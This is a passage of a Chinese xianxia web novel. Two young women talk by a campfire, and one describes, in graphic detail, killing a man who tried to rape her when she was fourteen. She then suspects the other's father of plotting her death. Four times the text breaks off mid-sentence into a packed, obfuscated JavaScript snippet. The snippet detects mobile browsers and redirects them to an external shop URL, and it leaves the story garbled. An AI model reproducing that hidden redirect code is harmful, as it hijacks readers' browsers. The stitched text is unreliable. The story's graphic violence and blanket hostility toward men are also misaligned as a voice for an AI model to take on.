一个猜测已经从萧隐心中跃然,其实这疑虑早在伶舟絮刚才说了这些过往时就有,可她只是不说,也没来得及再说,她只是微微说了一星半点,伶舟絮已经屡屡为那两个丁的辩驳,如果说再接着说下去,恐怕更可能加重两人之间的不悦。虽然萧隐并不怕和谁起争端,但是事到如今,她和伶舟絮两人必须先团结一致走出深林,这时就为了一些意见不和开始分心,对于她二人不论谁来说都是百害无利。于是萧隐想了想,也站了起来。 …… 脚步声响了起来,最后停滞在帐篷口,伶舟絮偷偷支棱起耳朵,只听下一刻萧隐果然道:“絮姑娘歇息了吗?” 伶舟絮松了一口气,原本她还忐忑萧隐会不会也和她闹了脾气,现在看来,是没有的。 可一想到萧隐足足晚了半刻钟来寻她,伶舟絮便又有些窝囊,这时就打定主意也要不吭声半刻钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221910|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一起共事了这么久,萧隐也是心知她怎么个念头,对此也不恼,也不催促,只是等了一会儿,站在帐篷口,又唤了她两句,伶舟絮侧着身体背对她,除呼吸均匀以外,毫无反应。 终于,在她转身回去之前,伶舟絮开口应声:“怎么了?” 萧隐回头:“之前一起烤的另一只松鼠现在已经熟了,你还要吃吗?” 伶舟絮一听,立刻翻衣坐起,奔了出去。 …… 火堆还呼呼燃烧着,她二人坐在一起,影子被拉得融在一处,夜幕上明河流淌,林中蝉声此起彼伏,萧隐低头专心鼓捣着袖箭,可能是要改良,也可能是在维修,伶舟絮看不懂,只是低头猛吃了一会儿,手下忽然一顿: “这……怎么奇形怪状的?”她拍了拍萧隐的胳膊肘,指着手中那脑袋瓜直接拧到了脖子后边的松鼠问。 萧隐抬头往这边瞥了一眼,也是顿了一下。 伶舟絮猜想:“这松鼠变异了?” 萧隐:“……” “难道松鼠也会变态发育?”她忽然想起来自己偶然看过的生灵(生物)书,随口又捉了术语,问。说着,她又想起来什么,问:“哎,你说它这个样子得是完全变态还是不完全变态?” “……” “在动物个体发育过程中,经过幼虫或幼体至成虫、或成体达到性成熟时的发育过程,称为胚后发育。”萧隐提醒,“变态发育,指动物在胚后发育过程中,形态结构和生活习性上所出现的一系列显著变化。幼体与成体差别很大,而且改变的形态又是集中在短时间内完成,这种胚胎发育叫变态发育。” “完全变态发育和不完全变态发育这两个术语主要用于描述昆虫的发育过程,并不适用于两栖类动物,如青蛙。两栖类的发育过程被称为变态发育,这与昆虫的发育方式有所不同……”好像也知道自己说得有点远了,萧隐停了一下,道:“总之,松鼠显然是不会变态发育的。” 伶舟絮却好像并没有把她说的这些知识点放在心上,只胡乱点了头两下,就开始继续捧着那奇形怪状的肉左看右看。 “你看这脑袋,长得和兔子有点像。” 萧隐点头:“它们都是啮齿类动物。” “那……”伶舟絮看向萧隐,“你说这玩意真是松鼠吗?不会是兔子和松鼠杂交出来的什么物种吧?” “不会的,它俩彼此间应该有生殖隔离。”萧隐说完,强调了一下:“这确实是松鼠。” 伶舟絮:“那它怎么长成这样了?先天畸形?要是后天,按这模样,是不是就活不成了?” 萧隐:“它现在脑袋冲后拧,是后天造成的。”伶舟絮闻声看她,萧隐停顿了一下,终于说:“我在狩猎后需要返程,不想它们还挣扎,就把它们脖颈都直接拧断了。” 71.畜生 …… 与此同时。 终南,毓秀殿。 “如何了?”白烟袅袅从屋子四角的香炉中滚滚冒出,一丁的拈了一炷香,火星子才点上,他余光并没有分给旁人,可他话音刚落,立刻就有人上前一步,毕恭毕敬抱拳道:“回大人,千金她昨日辰时三刻在昆仑遇袭后就再无踪迹。” 一声淡笑从那拈香的丁的鼻腔中飘了出来。火光和烟气掩映下,他眉目模糊,只长眉长髯隐约可见,可那衣服上却还是亮闪闪一片,仿佛九天银河乍泄,夺人眼目。 在他身后,那汇报事项的丁人却只是将脑袋垂得更低。 “你说,她这次还能化险为夷么?”他说着,目光却望向了对面。 那是一幅巨大的卷轴,卷轴中画着一位女子。剑如游龙,行走四身,她身轻如燕,双眸如电,神情淡然又傲然,似乎遥不可攀。 伶舟闻。 他把这个名字又在唇齿间咀嚼了一番。这里偏偏这时候还并无外人,他并没有敛藏嘴角的冷笑,只是低了眼帘,稍稍遮住了流露出的鄙夷和傲慢。 那句话也不知道问的到底是来这汇报工作的丁的,还是画像中的伶舟闻,于是那丁的一时间没敢作声,半晌才道:“大人以为,还要查吗?” “当然要查,”他把那一炷香立在了画像跟前的莲花香插中。“那毕竟是闻儿为我留下的唯一的血脉。” 可他说得随意,从态度上完全不像和自己有血缘的独生女失踪,而那作为他下属的丁的闻声却只觉得意料之中,神色坦然地立即行礼应声。 “等等。”下属低头回身,只听这丁的忽然又郑重道:“去把驹儿请来。” “是。”下属旋即退出门去。 …… 昆仑。西山林。夜幕低垂。 伶舟絮还沉浸在萧隐刚才那句话中,久久不曾缓过神来,萧隐低头看了看还没改装完的袖箭,停了手,低声说了句抱歉。 伶舟絮:“啥?咋的了?” 萧隐:“我下次尽可能找一个更好的办法让它们快且无痛的死。” 伶舟絮:? “为啥?”伶舟絮脱口而出,萧隐微微愣了一下,看向她,伶舟絮也正在很不解地望着她,“你这样不挺好吗?果断、麻利,很适合野外生存。有助于我们彼此扶持着走出去。” 萧隐沉默了好久,终于说:“我以为你讨厌我杀生。” 伶舟絮本想说“哪有”,可她忽然间想起了什么,一时也悻悻然低了头。 前两天,萧隐诛杀狍鸮时,她确实对萧隐表现出了一定反感,可那并不是基于萧隐杀生才反感,而是因为,萧隐杀的是一个形似丁人的生物,而且杀得场面惨烈。 她现在都还能回想起来那股冲天的血腥味和那些红的白的一塌糊涂的内脏,滴着血,摔在地上,暴露在空气中,而她还有一件事没有跟萧隐说,就是那时候在她们从林中撞见之前,她遇到的那个场景:黏糊糊、稀巴烂的人体组织零零散散的丢在荒野中,腥热的血顺着土坡噗噜噜直往她脚边滚,还有没完全死透的丁人,被那狍鸮割断了半截脖子,抱着吸食脑髓……甚至她还踩烂了一颗从尸体上掉下来的眼珠。 这些场景已经激发出了她莫大的恐惧——虽然之前,她出去历练或和别人切磋武艺或出手伤人立威时,也曾见血,但是,那时候就算见血也不至于有人丧命,毕竟她身份特殊,出行时也一向有人众星拱月似的围在她四周,几乎没有任何一次,就让她单独面对那些扭曲的、悲惨的事,可这次不同,昆仑这局群英宴因为之前选手们屡禁不止的私下斗殴事件,终于划定了使用灵力的范畴甚至是随行杂役的修为和人数,她脱离了层层叠叠的加成,甚至从修为上比刚刚踏进炼气的萧隐还不如……那一次遇袭,对于此前从没有见过这种血腥场景的伶舟絮来说确实是极其可怖的一件事。虽然后来因为萧隐相助,她成功逃过一劫,但是伶舟絮真的神经紧绷,而这种紧绷,在闻到那股浓得刺鼻的血腥味和看见萧隐浑身浴血,听到萧隐谈起如何虐杀狍鸮的详细过程之后,她终于爆发了。 不过这倒也不是萧隐的错。伶舟絮知道。返回去救人,是她自己的主意;盘问萧隐诛杀狍鸮的细节,也是她自己的主意;这些都跟萧隐无关。于是她对萧隐的不安,实际上只来源于她自己的恐惧。可之前她们已经讲清了这些事,伶舟絮便也没想到萧隐现在还会提及。 她更没想到的是,她居然给萧隐留下了一种“不赞同杀生”的印象,于是伶舟絮赧然片刻,解释道:“我也不是不赞成你杀生……” “我知道,”萧隐说,“你是不喜欢我虐杀生物。” 伶舟絮想了下,点点头。 萧隐:“可当时事发紧急,狍鸮体质特殊,就算中了毒也没当场毙命,我又从来没有了解过它的结构,并不能迅速确定它到底哪里是薄弱点,于是就按照它的外在形象,计划按杀羊的流程走一下。 “为了防止它再有余力暴起伤人,我直接骟了它——据我所知,这种疼痛能够使牛羊猪狗包括人类中的雄性立刻丧失行动能力,严重者甚至死亡。” 伶舟絮咽了口唾沫。 萧隐望着伶舟絮:“可它竟然还是没死。 “我是断不能留它活口的,于是就按部就班走了杀羊的流程,手起刀落,终于彻底了结了它。” 伶舟絮一时竟然不知道说些什么好,毕竟萧隐杀狍鸮那期间,她一点儿忙都没帮上,全都是萧隐孤身奋战,而她还因为萧隐杀了个怪物就东问西问又开始应激的,就连她自己想想都觉得不好意思。可她也知道,萧隐不需要她道歉,也不想她道歉,于是她想了一会儿自己要回什么。 忽然,她捉住了一个关键,问:“你是怎么知道人类雄性——也就是丁人,他们也会因为被骟了就立刻丧失行动力,严重者甚至死亡的?” 萧隐顿了下,“因为我就曾凭借这招宰了一个丁的。” “什么!?”伶舟絮失声。 萧隐看着她,神色平静。 咚的一声,伶舟絮咽了口唾沫。紧张,她真的有些紧张。虽然早就知道萧隐从职业上是个屠妇,杀生不眨眼,从人生经历上,她不仅仇视丁人甚至还有一颗想要杀了所有丁的的心,但是萧隐只有世界观,没有方法论,这让她松了一口气——就算再想灭了所有丁人,萧隐显然也做不到。这也就意味着萧的能力有限促使萧没办法达成那个“疯魔”的目标。可她实在没想过萧隐竟然真的杀过丁人——不是说说而已,是她认真的、真实的,那么做过。 顶着萧隐的目光,伶舟絮平复了一下呼吸,尽可能冷静地问萧隐:“你为什么这么杀他?你知道那一下会致使他丧命吗?”说完,她抱着膝盖的手悄悄拧紧了。 萧隐:“他是我同乡,甚至和我住一个村子,区别在我家住村头,他家住村尾,像所有人一样,每次回家,他都能路过我家。他是个老光棍,跛脚,种地不方便,人也懒散,经常无所事事,不时拄着棍在村子里闲逛,挨家挨户讨饭过活。在我很小的时候,我就看不惯他,因为他看我的眼神很奇怪,虽然那时候我并不知道那意味着什么,但是我能觉察出他对我有恶意,所以我很讨厌他,他只要出现在附近,我就会把家门紧闭。他来叫门讨饭,我和我娘谁也不作声,他碰了一鼻子灰也就回去了。可我家灰暗,也没有闲钱多买油灯,我自己做过的灯尽管也能凑合用,也到底只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235004|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊胜于无。我想读书,白天干活没空,就只能夜读。夜里,灯火暗,家里也暗,我家距离村头那条河不远,那里比我家里亮堂一些,我就经常趁着天晴,锁好家门,在那河边借着月光读书,有那么一次,我回去时他忽然把我拉到一边,按倒在地……” 啪嗒一声,伶舟絮听到这儿倒抽了一口凉气,手里攥着的那支插着松鼠肉的签子都掉了。萧隐低头要帮她捡回来,一只手却直接抓住了萧隐的手,“那后来呢?”伶舟絮捏住萧隐的手腕,声音颤抖着问。 她虽然并没有议亲定亲,但是小时候,她娘伶舟闻曾在私下里为她做过一些性.教育。这时,她当然也能明了那丁的对萧隐究竟意欲何为。 “我猝不及防,一时间挣脱不开他,但却在他靠过来时狠狠踹了他好几脚,然后只听他一声闷哼,整个人往后仰过去。”萧隐回想,“芦苇邻水,他欲行不轨时也没想仔细,那时我一脚过去,恰好踢中了他的裆,我踹得又凶,一下子就踢得他两眼翻白倒了下去,他骨头沉,又仄歪了身体,我爬起来发现他往下滑,还没完全从那土坡上栽下去,就直接又补了几脚,然后抓起石头砸烂了他的脑袋。 “夜里很静,听不到虫鸣,那天似乎只剩下银闪闪的月光和亮晶晶的河水,芦苇荡里我一下又一下砸他,一开始他不省人事,后来……”萧隐顿了一下,好像在思考该不该接着说。 “后来怎么了?”伶舟絮追问。 萧隐:“后来他疼醒了,想要挣扎,我眼疾手快捡起了他丢在一边的手杖,一下子弄瞎了他的眼睛——他发出一声哀嚎,一只手捂住那只眼睛,可是没多久,这哀嚎声也没有了。”她低声说,“我用力把手杖更深地刺了进去——他青筋暴起,嘴唇煞白,整个人痉挛了一会儿,鲜血、脑浆,还有别的一些我当时说不清的东西,顺着他手指缝从他捂着的眼睛中汩汩淌了出来,现在回想起来,我那一下大概是穿过他的眼球、眼眶和几层骨头,将手杖刺进去,捣碎了他的脑子。” 伶舟絮呆若木鸡。她从没想过这件事会是这么个结局。 萧隐笑了笑:“他死不瞑目,另一只眼睛还睁着,目眦欲裂,血丝和还没有完全涣散的瞳孔融成一团,我气喘吁吁,惊魂不定中,又有些又急又恨,索性就用手把他另一只眼睛也挖了,捏碎揉烂,然后又抽出手杖,打了他尸身一顿,才把他尸体推下土坡丢进了河里。 “这件事我以为没有人能知道,毕竟都是务农的,白天有的是事做,大晚上的,也没谁要出村或从外回来,那里除了我和那丁的,应该没别人。可后来有丁的偷偷开始传说,我是杀人犯。 “牠们说,老光棍不是溺水死的,而是我杀了牠,牠们都看到了,看到老光棍把我拽到那边,然后就发出惨叫,再后来就死了。死得不明不白。”她说着,看着自己的手,低头笑,“牠们说牠们看到了,牠死得‘不明不白’。” 伶舟絮忍不住抱住了萧隐的胳膊,萧隐稍稍偏头,对上了她的眼睛。 伶舟絮绞尽脑汁,终于说:“你别难过。” 萧隐:“我不难过,我杀了牠,牠在我跟前惨死,我开心还来不及。毕竟牠能做出这种事,即便一次没得手,也可能有第二次,就算下一个目标不是我,也可能就是别人(女),因此我杀了牠,这是好事,利人利己。” 伶舟絮张了张嘴,不知如何说。 “我确实杀了那丁的,”萧隐看着她,继续说,“可我不觉得我是‘杀人犯’。” “……什么?”伶舟絮有些呆愣。 萧隐握住了她的手,“我没有犯罪,我只是惩恶,给了牠应得的结果。我所杀的也不是‘人’,而是畜生。 “该死的畜生。” 72.绝路 “你……”伶舟絮望着她,愣住了,萧隐也没有急于让她站队或回话,她只是捡起来那支穿着松鼠肉的签子,从芥子囊中掏出小刀和水囊,好像要开始清理脏掉的食物了。“我不后悔。” 萧隐一边低头忙活,一边说,“如果有机会再来一次,我还是会那么做,而且我会趁牠还没有对我下手的时候就先下手为强。” 伶舟絮默然,半晌,她接过萧隐递过来的肉,默默咬了两口,样子有些心不在焉。因为她在偷偷看萧隐的手。 那是一双长期干农活和杀猪宰羊的手,瘦削又修长,指腹有着薄薄的茧子,看着并没有任何戾气,可是伶舟絮已经知道了这双手的主人有多么不容小觑:萧隐会用她的手翻书、写字,也会用它们去宰了牛羊猪狗,她不仅能拿稳镰刀、锄头、斧头,还能做出各种精巧灵敏的机关,烤出色香味俱全的松鼠肉,甚至还能就那么干脆利落的手刃了狍鸮,以及……一个丁的。 “你杀了那丁的……那时候你多大年纪?”伶舟絮突然问。 萧隐:“十四。” 伶舟絮顿住了,蓦然看向她。 萧隐当时和她现在同龄。 萧隐没看她,接着鼓捣着袖箭,片刻后才继续说,“我六岁下田干活,八岁踩着板凳上灶台煮饭,十岁已经学会了自己上山抓药给我娘治病。十四岁的时候,因为常年劳作,比起一般人更多了些力气。” 她是在解释自己怎么能蹬踹开那个丁的,又怎么会一下子就使用手杖将那丁的弄成了脑损伤、脑死亡,可伶舟絮听着那句“十四岁的时候,因为常年劳作,比起一般人更多了些力气”,忍不住又想到了一个词:戾气。 尽管萧隐对她一向有话好说的一副模样,从萧隐自我讲述的个人经历来看,她也能清楚,萧隐此人心中是充满了戾气的,区别只在于她把这戾气带来的攻击性向谁释放而已——从之前萧隐告诉她(伶舟絮),八九岁时她(萧隐)曾格外厌世,伶舟絮就能看出来,萧隐内心充斥着愤恨、不甘和怨气,她并没有那首她写的名为《学真》的诗一般那么超凡脱俗,甚至她是极其沉沦在这嘈嘈俗世的。从一出生,萧隐就在被迫和这个她看不上的世道打交道,直到如今。伶舟絮本来想问她“你当时杀了那丁的时不害怕”,可她又想起了先前她问过的,她问萧隐击杀狍鸮时怕不怕,萧隐当时回答她:“不怕。当时我只是想杀了它,看到它重伤致死,只会让我如释重负,并不会怕。”于是伶舟絮认为她不用再问了。 结果已经一目了然了:萧隐就是故意的。像她蓄意杀了狍鸮一样,她那时候也蓄意杀了那丁的。 伶舟絮很难形容自己这一刻的心情。 听到萧隐自称杀过一个丁人时,她本来是震悚的,还有一股想要谴责萧隐的冲动,可是了解了这些前因后果之后,伶舟絮忽然间发现,她没有资格谴责萧隐。 不只是从她杀了丁人这一件事上。 不论是前几天萧隐用残忍手段诛杀了狍鸮,还是14岁的萧隐反杀了那丁的,或者是萧隐有那么强烈的想要毁灭了所有丁人的愿望,她其实都没有资格去反对、去谴责。尽管她有时候依然不能理解也不能赞同萧隐的这种思想和行为,可是伶舟絮也发现了,如果说她只是这么站在所谓道德制高点上谴责萧隐,那么这就容易掩盖真正的问题所在:矛盾——生与死、女与丁的矛盾。虽然,从私心里,伶舟絮一直觉得这种矛盾或许有别的转机有其余的解法,但是当矛盾真正降临的时候,当她们不得不面对这种血淋淋的事实的时候,那些关于“和解”关于“和平”的幻想就真的太过于不堪一击了:难道你能在狍鸮张开血盆大口要把你生吞活剥时,还想着“我跟它好生讲理”吗?难道在丁的对你蓄谋已久、欲行不轨时,你还能想着和牠“握手言和”“有话好说”吗? 显然是不能够的。 在危急关头,只有制敌取胜才是重中之重,而最能让人高枕无忧的取胜办法莫过于灭敌。 即便明知道是绝路,她也只有这一条路能走。 寂静从她们两人之间再次飘散出来,伶舟絮闷不做声吃着萧隐给她重新处理干净了的肉,过了不知多久,她忽然问道:“你当时到底为什么会恰好出现在狍鸮攻击我的时候?” 萧隐闻声,将袖箭收起来的动作顿了一下,伶舟絮余光一直在留意萧隐,特意赶在了她捯饬完东西时才问。问完了,她便看向了萧隐,目不转睛。 萧隐:“因为我们之前所在的方位只有那一条路通往深林。” 伶舟絮愣了愣,“你怎么知道我肯定不会往人多的地方走?”毕竟那时候情况危机,以她的身份地位,理应走向人潮涌动的地方寻求别人庇护才对,可她偏偏反其道而行之——这种情况,萧隐虽然能从她回身救人略见一二,但是她又如何确定伶舟絮绝对不会临时起意再改主意往人潮拥堵的地方走呢? 萧隐:“因为絮姑娘要想‘改主意’让一切以自保优先,那么从一开始就不会松开我的手往反方向跑去对战狍鸮。虽然那时候,你并不能确定那就是狍鸮,但是从那股沿着风传过来的浓烈的血腥气,想必你也能知道那里到底有多危险,可你依然没有坐视不理,这说明你已经做好了与之恶战的打算,从我们的位置到狍鸮当时所在的位置也需要跑一段时间,如果你想要改主意,完全有足够多的机会可以犹豫、重新做选,可你没有,这说明你很可能有孤注一掷的决心,而且从日常生活中我也不乏能看出你是个正直纯然的人。 “生物的许多性状是由遗传物质和环境共同作用的结果,且环境影响基因表达。你能有这样的个性,不仅和遗传有关,还跟你一直以来所处的环境也有关系。多年来在终南受教育,很可能培养了絮姑娘一定正义感,促使你逆行救人。 “所以我推测,你不会轻易改变主意,也不会把狍鸮往人群中引,毕竟你的目的就是救人,虽然说把狍鸮这种吃人猛兽引向人群很可能会使得它转移目标从而令你得以脱身,但是你不会那么做。毕竟修士体质怎么也比普通人更敏捷强劲,就算修为受限,也很明显不至于那么不堪一击,而狍鸮却能如砍瓜切菜一般就屠戮了那么多修士,由此可见,这种猛兽绝非凡品,而你正是因为不想它继续害人或伤人这才逆行过去的,所以你基本上不太可能会冲向别的路。尽管走别的路可能会让你恢复修为(回到允许使用灵力的场地)甚至脱身,你也不会走——你不想拿别人的性命做赌注,宁愿以一己之力承担更多风险。”萧隐说,“我对此心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266388|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知肚明,也就趁早在那条通往深林的路上守株待兔了。” 伶舟絮有些愕然,她没想到萧隐居然能这么准确的推断出她的所思所想。萧隐说完,又思考了一下,也对她抛出了一个问题,“你身上有携带不用灵力认证也能使用的芥子囊吗?” 伶舟絮点头。 萧隐:“那这芥子囊里,有没有不用灵力也能激活的防御法宝?” 伶舟絮听了微微一停滞,“怎么可能?”她忍不住说,“所有的法宝都需要用灵力来进行激活,你说的不用灵力就能使用的法宝,根本不存在吧?”而且如果说真有不用灵力也能使用的法宝,那么按照赴宴人员都高门显贵来看,那法宝肯定不止她有,那些修士也有。既然大家都有防御法宝,她又怎么会遇到那些血呼啦的场景?哪些人又怎么会死?所以只有一个答案:所有法宝都需要灵力来驱动,没有灵力或者说灵力不足,那么法宝就不足以受到驱使。 萧隐并没有直接回话。 伶舟絮说完,发现萧隐看上去皱了眉。“怎么了?”她直觉萧隐肯定不是因为刚才她那些炮语连珠就不爽,而是在思考。 实际上,萧隐也真的在思考:“这一次群英宴,主办方不允许参赛选手在规定场地外随意使用灵力,这是因为之前几届的赛事中就名次问题私下斗殴的案例很多吗?” 伶舟絮想了想,确实不少,每届都能有那么几起斗殴事件。 萧隐:“比重多少?” 伶舟絮:“啥?” 萧隐:“斗殴的发生率大概是多少?斗殴造成的损失大致有多严重?到了必须一刀切让所有人都不能在场地外使用灵力的严重程度了吗?” 伶舟絮一时间噎住了。她根本没考虑过这种问题,因为没有任何领导会在下发规定时完整的把自己的决策步骤都告诉群众,所以她没法解答萧隐的问,只能说:“预防万一也是好事吧,这样就不需要再到了有麻烦的时候反复处理这种鸡零狗碎的问题了。” 萧隐却道:“是吗? “那牠们做决策时难道不该考虑到后续问题?比如安全上的问题。昆仑再怎么样也是偏远地带,又有峻岭崇山,尽管物产资源丰富,但是也危机四伏。这四面环山,叠嶂重峦,只是食人猛兽,就有土蝼,只不过比起狍鸮,土蝼虽然与之外貌形似但也只是四角似羊,而狍鸮是羊身人面,其目在腋下,虎齿人爪,攻击性比土蝼更强——而且它们并不在同一个区域活动,土蝼在昆仑山,狍鸮在北方钩吾山,我们之前遇到的飞鼠,也是在北方。就算主办方没有考虑到会有人私自放狍鸮、飞鼠进来吃人伤人,也该考虑到参赛选手如有突发状况该怎么自保。可是迄今为止,我们仍然没有收到任何真正能够使人自保的法宝,也就是说,一旦脱离规定场地外,那么就没有人能在突发状况下保证自身安全了。这是一个长期举办玄门大会的组织,应该有的处事水准吗?显然不是。 “而且絮姑娘的父亲,明知道这次群英宴有诸多限制——就连随行人员都得是修为低,且只能带一位的情况下,依然没有制止你参赛……” “你想说什么?”伶舟絮警觉地瞪着萧隐,“你是想说我爹和这帮人,赌上这么多人的性命,就为了对付我一个吗?” 73.多心 “我只是觉得可疑,”萧隐看着她,“不论如何,这些劫难都比起天灾,更像人祸。” 伶舟絮听了明显还有些不服气,可她实在也没得别的什么能说,毕竟她也否认不了这接二连三的事确实朝着一些“不可控”的方向发展了,然而看着萧隐就这么大剌剌说着推测,伶舟絮还是忍不住捏了捏眉心。“就算是人祸,你现在也没什么证据确定始作俑者,就这样依仗推测,不足以一锤定音。” 萧隐不语。 伶舟絮又说:“我知道你是真心的关心我,可是你想想看,我爹自小就在特别疼爱我,不秋真人(昆仑山掌门)是我爹挚友,又是看着我长大的,平白无故的,他们到底为什么要算计我甚至要害我性命?而且这次群英宴,各大门派都有把自家亲信送往这头,如果说只因为我,就要赌上这么多人的性命,着实不值当,毕竟一旦有了差错,昆仑免不得受到追责,而这跟门派的门脸都是息息相关的,难道杀我,比维持体面还重要?” 萧隐:“体面这种面子活儿,并不难做,难就难在人心隔肚皮,就算是再对你巴心巴肺的,实际上对方怎么想,那也是‘不完全可知’的。何况,这些年来玄门都是丁人专权,牠们蛇鼠一窝,彼此间什么模样想必早就再清楚不过了,体面也只是表面客套而已。至于‘门脸’……和杀你比起来,确实也没那么重要。”伶舟絮狠狠一怔。萧隐说着,望向她,“杀你能获取的利益比维持体面还多,而牠们想杀你的理由也很简单充分——你不仅是你爹的血脉,还是伶舟闻唯一的孩子。如果你爹真就是假借替你‘代管终南’才谋权篡位上任的,那么只要你还在一天,这第一把交椅,牠就明显坐不安稳,牠只有杀了你,才好名正言顺成为终南掌门,执掌绛阙(终南五大宗门的合称),不秋真人跟他既是同性,又是挚友,利益一体,情义也不弱,当然就有可能和他吊吊相护……你可以不信,可如果说‘维持体面’真的比实际利益更重要,那些旧制王朝的皇亲贵戚,也用不着撕破了脸皮甚至为了争个权位,九吊夺珠、弑父杀兄,所以说,在实际利益和维持体面之间,有时令体面让位于别的利益也是难免。因此我还是对这场人祸的始作俑者究竟是不是跟你爹相关,以及那些丁的是否都参与了算计你的这两个事来保留意见。” 伶舟絮一没想到萧隐还能接着反驳回来,二没想到萧隐竟然真的当着她的面直接跳脸剖析她爹和不秋真人都有犯罪动机以及慊疑,一时间愣了一下,反应过来萧隐说了什么之后,她眼里心里都腾的一下燃起了火。“你说什么?” 萧隐直视她的眼眸,重复:“我说牠们不可信。” “你既然说我爹要杀我,”伶舟絮强压着火气,说,“那你说说看,我爹为什么不趁早动手?他养我这么多年,从6岁到14岁,我娘不在的这些年,他难道没机会下手?为什么偏偏就要在这时候对我痛下杀手?” “因为你6岁那年,他刚继任,由头还是替你代管终南,虽然说从他接了这代管一职起,就是司马昭之心路人皆知了,但是如果那时就轻举妄动,那么他就更容易引火烧身,而且你娘和你姥的命灯还亮着,假使你爹确实是通过篡权才上位的,那么她们还活着,就会给他更多危机感,就算他恨不得对你杀之后快,也绝不可能在那时就直接动手。他要防范别人指摘他,也要防止你娘你姥杀个回马枪,可今非昔比了,”萧隐分析:“这些年来,你娘你姥都没能再回来,就算命灯还亮着,这其中几分真假,也尚未可知。而你虽然还是他在位的威胁,但是这么多年来他跟你看上去感情甚笃,你也对他没那么多防范之心,这也就方便他下手除掉你。而这次群英宴无疑就是个很好的契机—— “先前,在终南,我们聊天时,絮姑娘曾说,参加群英宴,这是很多年来玄门对权贵家庭的新秀进行选拔的一种方式,当年你母亲伶舟闻就曾在群英宴上大放异彩,而你对于群英宴也有莫大的热情。”萧隐说,“我猜想,你爹或者别人,可能经常跟你说起你娘当年的风姿?” 伶舟絮皱眉:“即便如此又如何,我爹我娘如胶似漆也是众所周知,我娘走后,我爹对她念念不忘,常常睹物思人,对我提及她的事迹难道不正常?” 萧隐:“这种情况确实可能有表演的成分。因为他只要这么做,那么就有人会信以为真,接下来他要做的事也就都能用情深似海做挡箭牌了。而你对他的信任,也会促使他谋害你更便捷,”伶舟絮闻声,瞪向萧隐,萧隐却还是继续说,“你信任他对你娘是真爱,那么他和他的知交对你宣传你娘的光辉事迹,除了让你娘在你心中拥有光辉形象,还会让你也产生‘青出于蓝而胜于蓝’的冲动,或者说至少你可能会产生‘我也要建功立业’的冲动,所以你许多次提及你期待着去群英宴大展拳脚、大显身手,而恰好也是这么一年,”她注视着伶舟絮的眼眸,“群英宴忽然放宽了赴宴标准,你也能够去了。而这次还从规定上漏洞百出,恰好有利于别人危及你的人身安全——不秋真人就算真的没想到这些,那么你爹作为你的监护人,也该想清楚这点,可他依然对此置之不理,任你犯险。往好了说,这是他监护不力,如果要往深了说,那么这就可能是他有意为之。” “……你就这么能疑心别人?” 萧隐望着她,“丁人对女人而言确实是值得疑虑的对象。” 伶舟絮压不住反问:“你口口声声说‘丁人对女人而言确实是值得疑虑的对象’,这其中到底是因为你真的分析出了女丁利益对立,还是因为你以己度人——因为你遇到的那些丁人都狼心狗肺,所以你才这么笃定的假定所有丁的都是宵鼠之辈?” “……” “絮姑娘认为这一切都是我的‘假定’吗?”萧隐终于说。 大概是之前确实气着了,说完了那一席话,伶舟絮明显还有些喘息不定,她瞪着萧隐,萧隐也望着她,她率先扭过头,也不知道是心虚还是怒火, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273711|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在光影扑腾中,她似乎烧得两颊通红,“你说的‘这一切’指的是什么东西?”木头燃灼发出的爆裂声中,伶舟絮小声说,“我可没说别的,我就说你之前恶意揣度我家人和我家熟人这块是欠妥的。” 萧隐没说话,轻轻拍了拍她的手,伶舟絮抽手,脸颊鼓鼓的,看着有些生气。 “你呼啦啦说了那么一大堆,不过就是想说,我爹和不秋真人都不可信,都和我有利益纠葛、利益冲突,”她忿忿道,“你这么能说,怎么不说我师兄魏正卿和我也有利益冲突?怎么不说他也从这件事上算计我?毕竟他也没阻止我去参加这场群英宴啊。” 萧隐:“魏正卿是丁的,你是女的,牠跟你确实基于性别就会产生零和博弈,可是从这两场人祸上,牠作案慊疑相对来说偏低。 